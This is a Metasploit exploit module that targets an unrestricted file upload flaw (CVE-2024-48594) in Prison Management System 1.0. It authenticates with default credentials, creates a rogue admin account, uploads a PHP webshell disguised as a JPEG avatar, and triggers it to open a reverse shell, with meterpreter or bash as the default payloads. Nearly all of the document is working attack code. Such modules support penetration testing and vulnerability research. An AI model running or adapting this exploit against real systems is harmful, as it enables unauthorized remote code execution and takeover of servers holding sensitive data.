Prison Management System 1.0 Authenticated RCE via Unrestricted File Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Prison Management System 1.0 Authenticated RCE via Unrestricted File Upload',
        'Description' => %q{
          This module exploits an unrestricted file upload vulnerability in Prison Management System 1.0.
          An authenticated user can upload a PHP file with arbitrary content by abusing the avatar upload
          functionality in the add-admin.php endpoint. The application fails to properly validate the
          uploaded file type, allowing an attacker to upload a PHP webshell.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Alexandru Ionut Raducu',
        ],
        'References' => [
          ['CVE', '2024-48594'],
          ['URL', 'https://www.sourcecodester.com/sql/17287/prison-management-system.html']
        ],
        'Platform' => ['php', 'unix', 'linux'],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
              'Type' => :php
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2024-10-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Prison Management System', '/']),
      OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
      OptString.new('PASSWORD', [true, 'Password for authentication', 'admin123'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php')
    )

    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Detected("Unexpected response code: #{res.code}") unless res.code == 200

    if res.body.include?('Prison Management System') || res.body.include?('txtusername')
      return CheckCode::Detected('Prison Management System login page detected')
    end

    CheckCode::Safe('Target does not appear to be Prison Management System')
  end

  def login
    print_status("Attempting to authenticate as #{datastore['USERNAME']}...")

    # First GET request to obtain session cookie
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'),
      'keep_cookies' => true
    )

    fail_with(Failure::Unreachable, 'Connection failed while fetching login page') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    vprint_status("Retrieved session cookie: #{res.get_cookies}")

    # POST login credentials
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'txtusername' => datastore['USERNAME'],
        'txtpassword' => datastore['PASSWORD'],
        'btnlogin' => ''
      }
    )

    fail_with(Failure::Unreachable, 'Connection failed during login') unless res

    fail_with(Failure::NoAccess, 'Login failed - invalid credentials') unless res.code == 302

    print_good('Successfully authenticated!')
  end

  def upload_webshell
    @webshell_name = Rex::Text.rand_text_alpha(8) + '.php'

    case target['Type']
    when :php
      php_payload = payload.encoded
    when :unix_cmd
      php_payload = "<?php system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>"
    when :linux_dropper
      php_payload = "<?php system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>"
    end

    # Generate random form data for the new admin user
    random_username = Rex::Text.rand_text_alpha(8)
    random_fullname = Rex::Text.rand_text_alpha(8)
    random_password = Rex::Text.rand_text_alpha(8)
    random_phone = Rex::Text.rand_text_numeric(10)

    print_status("Uploading webshell as #{@webshell_name}...")

    # Build multipart form data
    form_data = Rex::MIME::Message.new
    form_data.add_part(random_username, nil, nil, 'form-data; name="txtusername"')
    form_data.add_part(random_fullname, nil, nil, 'form-data; name="txtfullname"')
    form_data.add_part(random_password, nil, nil, 'form-data; name="txtpassword"')
    form_data.add_part(random_phone, nil, nil, 'form-data; name="txtphone"')
    form_data.add_part('', nil, nil, 'form-data; name="btncreate"')
    form_data.add_part(php_payload, 'image/jpeg', nil, "form-data; name=\"avatar\"; filename=\"#{@webshell_name}\"")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'add-admin.php'),
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => form_data.to_s,
      'keep_cookies' => true
    )

    fail_with(Failure::Unreachable, 'Connection failed during upload') unless res
    fail_with(Failure::UnexpectedReply, 'File upload failed') unless res.code == 200 && res.body.include?('User Added Successfully')

    @webshell_path = normalize_uri(target_uri.path, 'uploadImage', 'Profile', @webshell_name)
    register_file_for_cleanup(@webshell_name)

    print_good("Webshell uploaded to #{@webshell_path}")
  end

  def execute_webshell
    print_status('Triggering payload execution...')

    send_request_cgi({
      'method' => 'GET',
      'uri' => @webshell_path,
      'keep_cookies' => true
    }, 5)
  end

  def exploit
    login
    upload_webshell
    execute_webshell
  end
end